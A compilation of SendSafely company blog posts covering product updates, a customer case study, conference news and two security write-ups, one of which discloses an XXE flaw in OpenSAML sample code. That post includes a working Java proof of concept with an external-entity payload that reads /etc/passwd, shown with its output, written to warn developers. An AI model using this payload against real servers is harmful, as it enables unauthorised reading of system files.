Perfect Forward Secrecy and more…

Last month we started rolling out some subtle changes to SendSafely that many users may not have noticed. For starters, we are now taking advantage of some new SSL features that Amazon announced back in February for the Elastic Load Balancer technology that we use for handling end-user SSL connections. Our front-end load balancers now support Perfect Forward Secrecy on all SSL/TLS connections. Perfect Forward Secrecy provides additional safeguards against the eavesdropping of encrypted data, through the use of a unique random session key. This prevents the decoding of captured data, even if the secret long-term key is compromised.  With the addition of PFS we earned an A+ from SSL Labs, the highest possible rating.

Today’s scramble to patch the OpenSSL “Heartbleed” Vulnerability underscores the grim reality that security technologies themselves are not immune from being vulnerable. Those of you familiar with how SendSafely works under the hood know that we take a layered approach to security. We assume from the start that one of the layers can, and will, fail at some point. SSL is far from the only layers that we implement to keep your data private.   

In addition to enhancing our SSL configuration, we also rolled out changes to our client-side APIs that improve performance when handling large files. Our APIs now segment large files and PGP encrypt each segment individually, reducing the overall amount of disk space and RAM needed to perform file encryption and decryption. The biggest benefit of this change is that browser-based users no longer need to use our signed Java Applet when uploading or downloading large files (provided that your browser supports HTML5).

Over the last 12 months, Oracle made a number of significant changes to how the Java Runtime enforces security with Java Applets. While these changes were well intentioned, they were very poorly executed and significantly degrade the user experience due to the large number of confusing (and constantly changing) visual security warnings and prompts. We also found that some of the new changes make backwards compatibility nearly impossible. We are very excited that going forward only users with older web browsers (specifically Internet Explorer 8 or 9) will need Java to use SendSafely.

SendSafely Integration for Microsoft Outlook

As of this week, our SendSafely for Outlook Add-In has exited Beta and is now available to all Enterprise and Pro users. We’d like to thank everyone who participated in the Beta evaluation to help make it a success.  If you were a beta user, your add-in will continue to receive updates and run the same version as all other users.  

With the add-in for Outlook, SendSafely is integrated directly into your desktop email software, making it easier than ever to send encrypted files.  Once the add-in is installed, sending an encrypted file is as easy as adding a traditional attachment to your email message. 


The SendSafely “Add Encrypted Attachment” button works in much the same way as the traditional “Attach File” button.  Files are attached with a “.SendSafely” extension, but when you press “Send” our add-in recognizes these files and automatically encrypts and uploads them to SendSafely.  A link to SendSafely is also inserted into the body of your email message that your recipients can use to access the files.  The actual file attachments are removed from the email message before it is sent. 

SendSafely for Outlook also lets you configure SMS verification for your recipients.   Every recipient on the email message is automatically added as a recipient for the encrypted files.  After you press “Send”, the add-in will prompt you with the option to enable SMS verification for each recipient on your email message.


When sending large files, our add-in let’s you continue your work while the files get uploaded to our system in the background.  Your email message is automatically sent as soon as all of the files have been successfully uploaded. 


The Outlook add-in is just one example of how SendSafely can be integrated with virtually any system or application.  Under the hood, the add-in uses our SendSafely Windows Client API to bridge the gap between Outlook and the SendSafely Platform.  Expect to see more about our API over the next few months, as we plan on expanding coverage to other platforms and integrate into other programs that our customers use frequently (like Chrome Browser).

Encrypted Messaging now Available to All Users

Over the last month we’ve been working hard to roll out Encrypted Messaging as a new feature to some of our Enterprise customers. Today we are happy to announce that this feature is available to all SendSafely users, including users on our Free Tier. With Encrypted Messaging, you now have the option of typing a message in addition to sending secure files through SendSafely.  You will have the option of sending a message securely, sending a file securely, or using a secure message in conjunction with a secure file transfer.  

The “Add Files” region of the Send page is now titled “Add Items”, and allows you to add an encrypted file, a secure message, or both. We also reintroduced the beloved Drag-and-Drop support for adding files, something that numerous users asked us to bring back after we removed it a while ago.  


Click on this region and start typing, or press “Add Message” to reveal the secure message dialog. Users that are replying to a secure file request will also have the option to add a message, and can reply to messages you send to them. 


As soon as you are done typing, your message will be encrypted using OpenPGP the same way we encrypt files you send with SendSafely. You’ll know the message has been encrypted when it becomes blurred and the padlock icon changes to closed. This happens automatically once you click outside of the message dialog (older versions of IE may not blur the message due to limited CSS3 support).  


Recipient access to secure messages is logged the same way that we log access to file transfers. You see the recipient, the IP address and the timestamp of each session they access the message from.  

We continue to be amazed at the interesting use cases that our customers are using Encrypted Messaging for. We received some feedback from one of our users, informing us about how he used this feature to implement a “break glass” procedure.  

"I needed to leave the office early yesterday, so I used SendSafely to send my colleague a message with a temporary ‘break glass’ code to use in the event that there is a sufficiently important reason for someone to get into our server room while I was out.  I set the message to expire in one day, and since all access to the message is logged, I know I’ll be notified if my colleague retrieves the code.  Simply brilliant."

We share this user’s excitement, and hope all of our users like this new feature as much as we do. As always, please continue to share your feedback with us…we love hearing from our users!  

SendSafely Featured on Twilio Blog

Our friends at Twilio have written up an article on their blog about how we use their API to provide strong authentication for our users.  If you haven’t read it already, you should check it out!  

We offer SMS verification to all users when sending packages to people in virtually any region of the world.  SMS verification makes it easy to ensure that only the right people can pick up the files you send them.  This feature is just one of many robust security features that we offer, and another reason that more and more enterprises are choosing SendSafely as their data exchange platform. 

Cezanne HR Uses SendSafely to Fulfill the Most Important Responsibility to its Customers

imageCezanne HR is a leading European provider of human resource solutions. Their flagship Cezanne OnDemand platform is a pure SaaS HR software solution targeted at small and medium enterprises. 

The team at Cezanne HR routinely needs to receive large amounts of personnel data while on-boarding new clients to their HR OnDemand platform. The vast majority of this information is highly sensitive, and could lead to identity theft if it ends up in the wrong hands. Ensuring that this information is secure at all times is an extremely high priority for the Cezanne team. “Our aim is to help our customers get up and running as quickly as possible, and part of the service we provide is uploading their data”, explains John Hixon, Research & Development Director for Cezanne HR. “Making it as easy as possible for our clients to get us that information securely is a major priority for us.”

In addition to the obvious concerns, EU Data Protection Laws also mandate that organizations that collect and manage confidential personal information must protect it from misuse and respect certain rights of the data owners that are guaranteed by EU law. Cezanne needed an easy data collection solution that allowed them to get data quickly from their new customers while upholding their responsibility to make sure that data is secure and protected at all times. 

The Solution: SendSafely Enterprise 

Prior to discovering SendSafely, Cezanne HR used an in-house solution for file exchange that was based on secure FTP. “There was a lot of overhead associated with using Secure FTP”, says Hixon. “We were constantly managing new accounts and making sure files were deleted once they were no longer needed. It was also not uncommon for the customer’s firewall to block outbound access to the FTP port. SendSafely gives us a much easier to use alternative to the Secure FTP solution we used to use.” SendSafely file transfers all happen over HTTPS using the same ports that are used to browse the web, and uploaded files expire and delete automatically based on the configured SendSafely security policy.

Now that Cezanne has migrated to SendSafely, the on-boarding team makes use of SendSafely’s “Request Files” feature to obtain data files from new clients. Requesting files is as simple as entering the email address of the person you are requesting files from. SendSafely automatically creates a new sender account and authenticates them as needed, allowing the customer to upload encrypted files to the on-boarding team.

Another important feature that Cezanne HR leverages is SendSafely’s regional isolation feature, available to enterprise customers. With regional isolation, SendSafely guarantees that a customer’s data will be isolated within a specific geographic region. “Our contracts with European clients mandate that their HR data will not leave the EU. SendSafely gives us the option to host our data exclusively in the EU, which is critical for us to maintain compliance”, John explains. SendSafely currently offers regional isolation options for the EU, hosted in Ireland, and the United States.

You can download a full PDF version of the SendSafely Cezanne HR Case Study here.

Web-based Single Sign-On and the Dangers of SAML XML Parsing

Security Assertion Markup Language (SAML) is a popular XML-based open standard for exchanging authentication and authorization data between two systems.  In the world of enterprise cloud applications, SAML is one of the most common protocols for implementing single sign-on between enterprise customers and cloud service providers.  Given that, it’s no surprise that support for SAML-based Single Sign-on was one of the earliest requested features that our enterprise customers asked for.

A typical web-based single sign-on transaction (or web SSO for short) involves three parties:  the service provider, the identity provider, and a user agent (the user).  In our world, we (SendSafely) are the service provider, our enterprise customers would be the identity provider, and our end-users would be the user agent.  At a high-level, the sign-on transaction looks something like the following diagram:


As you can see, while the exchange is not overly complex, there are several steps with XML based messages handled by the identity provider and service provider.  One thing we noticed off the bat when planning to implement the service provider end of the workflow was that publicly available documentation for building a custom implementation is scarce.  There is no shortage of 3rd party solutions, but at SendSafely we are always hesitant to add unnecessary external dependencies to our code base due to the vulnerabilities they could introduce into our platform.  This hesitation is especially high when it comes to anything authentication related.  Rather than go with an off-the-shelf solution, we opted to instead leverage the OpenSAML library and implement the service provider ourselves so that we know what is happening under the hood.

OpenSAML Sample Code

Having decided to go with OpenSAML, the first thing we did was consult the official website to obtain the latest version of the library and review the available documentation. As with most well documented platforms, the documentation also included some basic code examples on how to use the library to consume and generate SAML.  

In order to accept and process SAML responses from our customers, we essentially need to parse an XML request from the user agent (sent by the identity provider) and validate the SAML contents.  The following documentation and sample code is published on the OpenSAML website, and shows how to convert XML retrieved from the authentication response to an expected SAML object.

It’s worth pointing out that I wear two hats on most days: that of a developer and architect at SendSafely, and a professional penetration tester at Gotham Digital Science.  One thing that my pen testing experience has taught me is that any code responsible for parsing XML is a prime target for an XML External Entity (XXE) vulnerability.  For those unfamiliar with XXE vulnerabilities, they often allow a malicious user to read arbitrary files and open arbitrary TCP connection from the vulnerable server and can also be used to launch Denial of Service attacks. In short, lots of bad stuff can happen. Unfortunately, the code example from the OpenSAML website just so happens to be vulnerable to this attack.  

To confirm this, we whipped up the following test code and our suspicions were validated.  The test code exploits the fact that external entity calls are allowed and will load the “/etc/passwd” file from the server and return its content to the malicious user.  Houston, we have a problem.  


     String evilString = "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>"+”<!DOCTYPE doc [ <!ENTITY x3 SYSTEM \"file:///etc/passwd\"> ] >";
     String XMLString = "<samlp:AuthnRequest xmlns:samlp=\"urn:oasis:names:tc:SAML:2.0:protocol\" xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\" ID=\"aaf23196-1773-2113-474a-fe114412ab72\" Version=\"2.0\" IssueInstant=\"2004-12-05T09:21:59\" AssertionConsumerServiceIndex=\"0\" AttributeConsumingServiceIndex=\"0\"><saml:Issuer>&x3;</saml:Issuer><samlp:NameIDPolicy AllowCreate=\"true\" Format=\"urn:oasis:names:tc:SAML:2.0:nameid-format:transient\"/></samlp:AuthnRequest>";
     XMLString = evilString + XMLString;

     // Get parser pool manager
     BasicParserPool ppMgr = new BasicParserPool();
     // Parse metadata file
     InputStream in = new ByteArrayInputStream(XMLString.getBytes("UTF-8"));
     Document inCommonMDDoc = ppMgr.parse(in);
     Element metadataRoot = inCommonMDDoc.getDocumentElement();
     // Get appropriate unmarshaller
     UnmarshallerFactory unmarshallerFactory = Configuration.getUnmarshallerFactory();
     Unmarshaller unmarshaller = unmarshallerFactory.getUnmarshaller(metadataRoot);
     // Unmarshall using the document root element, an EntitiesDescriptor in this case
     AuthnRequestImpl inCommonMD = (AuthnRequestImpl) unmarshaller.unmarshall(metadataRoot);
     System.out.println("Winning: "+ inCommonMD.getIssuer().getValue());
catch(Exception e)


# User Database
# Note that this file is consulted directly only when the system is running
# in single-user mode.  At other times this information is provided by
# Open Directory.
# See the opendirectoryd(8) man page for additional information about
# Open Directory.
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
daemon:*:1:1:System Services:/var/root:/usr/bin/false

The fact that the OpenSAML library allows a developer to handle the XML parsing of the SAML XML data before it is passed to the “Unmarshaller” object is a bad design decision, and as you can see here it can result in the potential for many custom SSO or other SAML based solutions to be susceptible to XXE.  Unfortunately we see this issue quite a bit at GDS, not only within SAML but any application which handles XML data from untrusted sources.

We have notified the OpenSAML team about the vulnerable sample code and the XXE flaw within the BasicParserPool XML parsing logic that is accompanied with the OpenSAML library. Developers and security professionals should be aware that this issue may exist across the internet within other open source solutions, off the shelf software or even your organization custom implementation of SAML parsing code.

Morals of the Story

One could say there are a couple morals to this story.  The most important moral is never assume that sample code is good code.  Yes, the code will likely do what its supposed to, but it may also do much more (and not stuff you want it to do).  You should always carefully review any sample code retrieved from the web, especially if it directly handles user input. This can also be said about any off the shelf or open source solution.

Another important takeaway is that SAML, at the end of the day, is simply XML data and therefore you must include XML specific risks like XXE, Entity Expansion Attacks and even potential injection flaws when doing a threat model.  

Bypassing Content Security Policy with Java Applets

If you’ve read our previous posts on Content Security Policy, you know that we spent a good amount of time getting our site to work using a fairly strict CSP.  Something we recently discussed in our presentation at AppSec USA was the fact that most browsers are currently ineffective when it comes to blocking Java Applet execution with CSP.  This post will share more details on what we found regarding applet execution and CSP.

Here at SendSafely, we use a Java Applet for backwards compatibility with browsers that don’t support all of the HTML5 APIs our application uses.  When we did our initial testing of CSP, one thing we noticed was that no matter what the CSP policy was set to block, our test page was still able to load our Java Applet.  We were seeing this behavior across all of the browsers we tested, specifically Chrome, Firefox and Safari (which all have pretty complete CSP 1.0 support).  Even with a completely locked-down CSP that had default-src and object-src both set to ‘none’, each of these browsers happily loaded our applet despite refusing to load any other content (no images, no CSS, no JavaScript).  Something definitely seemed wrong.    

Our first thought was that this was a little too obvious to be a bug since all three browsers behaved the same.  We figured we would take another look at the specification to make sure we weren’t missing something obvious.  The following extract from the CSP specification ( was the part we were most interested in.


The gist of this section of the spec is that the user-agent (the browser) should enforce object-src CSP restrictions on the EMBED, OBJECT and APPLET tags. The following quote summarizes how the browser is supposed to behave:

Whenever the user agent fetches a URI (including when following redirects) in the course of one of the following activities, if the URI does not match the allowed object sources, the user agent must act as if it had received an empty HTTP 400 response

The spec also goes on to include the following as one of the referenced activities:

Requesting data for a plugin, such as when processing the data attribute of an object element, the src attribute of an embed elements, or the code or archive attributes of an applet element.

A closer look at our code revealed that we were using the APPLET tag to launch the applet. This made us a little curious so we decided to experiment by loading the applet using OBJECT and EMBED tags in each of the three browsers.  The table below summarizes what we saw. 


As shown above, the applet always loads on Firefox regardless of whether we used an APPLET tag or OBJECT/EMBED tags. Chrome and Safari both seem to properly block the applet from loading when OBJECT/EMBED tags are used but do not block the APPLET tag. Although Firefox didn’t block Java using the OBJECT/EMBED tag we did notice that other plug-ins (specifically Flash) do get blocked. This might indicate that Firefox relies on the underlying plugin to enforce CSP restrictions rather than blocking the plug-in from loading, however we do not have sufficient evidence to make a definitive conclusion on that.  

We decided that based on the above something seemed wrong, so we decided it was time to start a conversation with people a little more familiar than us on the topic.  We started a thread on the W3C webappsec group to see what the CSP expert community had to say.  As it turns out, there is still some debate as to how the object-src directive gets enforced, specifically whether the browser or individual plug-ins should enforce CSP restrictions.  The case for 1.0 seems fairly clear since you cannot distinguish between content types, but the CSP 1.1 specification includes support for media-types (which may influence the direction that some browsers will take).  In any case, there is a general consensus that something like object-src ‘none’ should explicitly stop the browser from attempting to load any plug-ins.  

For now it looks like this issue will need to be addressed individually by each browser.  As for the CSP we use on SendSafely, we still don’t include any object-src directive (since it is not necessary) but we will likely have to re-visit this as proper object-src blocking gets implemented down the road.  

Slides from OWASP AppSec USA

In case you missed the presentation by SendSafely’s Brian Holyfield and Erik Larsson at OWASP AppSec USA, we’ve posted a copy of the deck in our GitHub repository.  Brian and Erik discussed some of the challenges we faced here at SendSafely when implementing Content Security Policy (CSP) on our site.  There will also be a video recording of the talk posted in the AppSec 2013 YouTube Channel.

Thanks again to everyone that came out to the conference and especially those that came by our booth to say hi.  We hope you all had as much fun as we did!

AppSec USA 2013 in NYC!

Next week SendSafely will be at the 2013 OWASP AppSec USA conference, right here in New York City.  If you are interested in attending and not already registered for the conference you can do so on the AppSec USA website at The talks looks great and we couldn’t me more excited about it being hosted in our very own hometown!

Brian Holyfield and Erik Larsson from the SendSafely team will be presenting a talk on lessons learned while implementing Content Security Policy for SendSafely.  Be sure to mark your schedule and attend “Pushing CSP to PROD: Case Study of a Real-World Content-Security Policy Implementation” on Wednesday, November 20th at 3pm.  For more details on the talk visit


We’re also very excited to be debuting our new SendSafely Outlook plug-in, which will be released at AppSec USA next week. We will be demoing SendSafely and the new plug-in at our booth (#33) during the conference so make sure you stop by to say hello! 


The New and Improved Enterprise Console is Here!

We wanted to take a few minute to highlight some improvements that we recently made for SendSafely Enterprise customers. Last week, many of our enterprise customers woke up to find a shiny new Enterprise Console, which is the control center that enterprise customers use to manage access, search activity and make updates to their site configuration.

We realize this is a critical component for organizations that use our enterprise platform and are always working to make improvements based on user feedback and suggestions. With that said, we’d like to walk you through the recent enhancements included in the new release.

Activity Usage Monitoring (site-wide and per-user)
One of the longest running feature requests for our Enterprise Console was the capability to monitor detailed data across enterprise accounts. The new Enterprise Console features an Activity Dashboard that provides usage statistics for both the current and previous billing cycles. We now show various enterprise-wide statistics like the amount of cumulative data being sent, total bandwidth used, number of files sent, average files size and the number of active users. The active user listing also shows you statistics on data sent and bandwidth on a per-user basis.  Be careful, your head may explode with all the new stats! 


Advanced Search and Export
We are also happy to announce more flexible and refined search capabilities within the Enterprise Console. Administrators can search any combination of date, sender, recipient, filename and package status to view activity across their organization. We’ve also added the ability to export search results into a CSV (comma-separated value) format for use as you see fit. Your SIEM team is going to love us for this one.  


Registration Restrictions and Custom Branding
Last but not least, SendSafely Enterprise customers now have more control with the option to disable support for undisclosed recipients and the ability to restrict registration to only pre-authorized users. We also took the opportunity to revamp the interface in which administrators use to configure custom branding for their enterprise site.  You can now upload your own logo and choosing your own color scheme…but be careful, and don’t upset your marketing team! 


As always, we welcome feedback on these changes and improvements. If you, or someone you might know, are interested in an Enterprise Account, please reach out to us directly at We’d love to hear about your secure file transfer needs and tell you how we can help!

Get started in 60 seconds.
Sign Up Today!